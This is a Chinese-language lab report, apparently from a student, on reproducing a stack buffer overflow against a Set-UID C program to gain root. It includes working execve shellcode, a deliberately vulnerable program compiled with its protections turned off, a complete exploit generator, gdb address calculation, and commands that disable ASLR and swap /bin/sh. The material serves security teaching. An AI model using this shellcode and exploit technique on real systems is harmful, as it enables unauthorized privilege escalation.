一、實驗內容：
緩沖區溢位攻擊：通過往程式的緩沖區寫超出其長度的內容，造成緩沖區的溢位，從而破壞程式的堆疊，造成程式崩潰或使程式轉而執行其它指令，以達到攻擊的目的，本課程將帶領大家重現攻擊理解此漏洞，
1.實驗要求：
- 有 C 語言基礎
- 會進制轉換以及計算
- vim 基本使用
- 熟悉基本 linux 命令
2.實驗任務：
- 通過重現緩沖區溢位攻擊來理解此漏洞
二、實驗準備：
系統用戶名：shiyanlou
實驗樓提供的虛擬環境是 64 位 Ubuntu linux，而本次實驗為了方便觀察匯編陳述句，我們需要在 32 位環境下作操作，因此實驗之前需要做一些準備，
輸入命令安裝一些用于編譯 32 位 C 程式的軟體包：
sudo apt-get update sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev sudo apt-get install -y python3.6-gdbm gdb
三、實驗步驟：
1.初始設定：
- Ubuntu 和其他一些 Linux 系統中，使用地址空間隨機化來隨機堆（heap）和堆疊（stack）的初始地址，這使得猜測準確的記憶體地址變得十分困難，而猜測記憶體地址是緩沖區溢位攻擊的關鍵，因此本次實驗中，我們使用以下命令關閉這一功能：
sudo sysctl -w kernel.randomize_va_space=0
- 此外，為了進一步防范緩沖區溢位攻擊及其它利用 shell 程式的攻擊，許多shell程式在被呼叫時自動放棄它們的特權，因此，即使你能欺騙一個 Set-UID 程式呼叫一個 shell，也不能在這個 shell 中保持 root 權限，這個防護措施在
/bin/bash中實作， - linux 系統中，
/bin/sh實際是指向/bin/bash或/bin/dash的一個符號鏈接，為了重現這一防護措施被實作之前的情形，我們使用另一個 shell 程式（zsh）代替/bin/bash，下面的指令描述了如何設定 zsh 程式：
sudo su cd /bin rm sh ln -s zsh sh exit
- 輸入命令
linux32進入32位linux環境，此時你會發現，命令列用起來沒那么爽了，比如不能tab補全了，輸入/bin/bash使用bash：
2.shellcode:
- 一般情況下，緩沖區溢位會造成程式崩潰，在程式中，溢位的資料覆寫了回傳地址，而如果覆寫回傳地址的資料是另一個地址，那么程式就會跳轉到該地址，如果該地址存放的是一段精心設計的代碼用于實作其他功能，這段代碼就是 shellcode，
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
- 本次實驗的 shellcode，就是剛才代碼的匯編版本：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.漏洞程式：
- 在
/tmp目錄下新建一個stack.c檔案：
cd /tmp vim stack.c
- 按
i鍵切換到插入模式，再輸入如下內容：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
- 通過代碼可以知道，程式會讀取一個名為“badfile”的檔案，并將檔案內容裝入“buffer”，
- 編譯該程式，并設定 SET-UID，命令如下：
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
-
GCC編譯器有一種堆疊保護機制來阻止緩沖區溢位，所以我們在編譯代碼時需要用
–fno-stack-protector關閉這種機制， 而-z execstack用于允許執行堆疊， -g引數是為了使編譯后得到的可執行檔案能用gdb除錯，
4.攻擊程式：
- 我們的目的是攻擊剛才的漏洞程式，并通過攻擊獲得
root權限， - 在
/tmp目錄下新建一個exploit.c檔案，輸入如下內容：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個位元組覆寫sellcode地址
strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer，偏移量設為了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
- 注意上面的代碼，
\x??\x??\x??\x??處需要添上shellcode保存在記憶體中的地址，因為發生溢位后這個位置剛好可以覆寫回傳地址，而strcpy(buffer+100,shellcode);這一句又告訴我們，shellcode保存在buffer + 100的位置，下面我們將詳細介紹如何獲得我們需要添加的地址， - 現在我們要得到 shellcode 在記憶體中的地址，輸入命令進入 gdb 除錯：
gdb stack disass main
- 結果如圖：
- esp 中就是 str 的起始地址，所以我們在地址
0x080484ee處設定斷點， - 接下來的操作（設定斷點）：
b *0x080484ee r i r $esp
-
最后獲得的這個
0xffffcfb0就是 str 的地址， -
根據陳述句
strcpy(buffer + 100,shellcode);我們計算shellcode的地址為0xffffcfb0+0x64=0xffffd014（可用16進制加法器進行計算） -
現在修改
exploit.c檔案，將\x??\x??\x??\x??修改為計算的結果\x14\xd0\xff\xff，注意順序是反的，
- 然后，編譯
exploit.c程式：
gcc -m32 -o exploit exploit.c
5.攻擊結果：
- 先運行攻擊程式 exploit，再運行漏洞程式 stack，觀察結果：
（whoami 是輸入的命令，不是輸出結果，）
- 可見，通過攻擊，獲得了root 權限！
（如果不能攻擊成功，提示”段錯誤“，那么請重新使用 gdb 反匯編，計算記憶體地址，）
四、練習：
1.按照實驗步驟進行操作，攻擊漏洞程式并獲得 root 權限，
2.通過命令 sudo sysctl -w kernel.randomize_va_space=2 打開系統的地址空間隨機化機制，重復用 exploit 程式攻擊 stack 程式，觀察能否攻擊成功，能否獲得root權限，
sudo sysctl -w kernel.randomize_va_space=2
- 可以看見獲取root權限失敗！
3.將 /bin/sh 重新指向 /bin/bash（或/bin/dash），觀察能否攻擊成功，能否獲得 root 權限，
sudo su cd /bin rm /sh ln -s bash sh exit
- 獲取root權限失敗！
五、實驗感想：
本次實驗讓我們熟悉了緩沖區溢位的原理，進一步了解了緩沖區溢位的危害，同時在虛擬機內實作實驗操作，更加熟悉了linux的指令操作，我原本想用我自己的虛擬機來做這個實驗的，但是在安裝linux32的程序中出現了問題導致了我的虛擬機打不開，整個崩潰掉（我們好幾個人都有這種情況），不得不放棄實用自己的虛擬機并且重新安裝Ubuntu，但實驗樓提供的虛擬環境還是非常實用的，沒有什么問題，可以放心做實驗，就是在熟悉實驗操作上要加強，包括代碼的輸入還有對指令操作的理解等等，總的來說還是有很多識訓的，希望今后的實驗也能繼續學習到新知識，
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標籤：Linux
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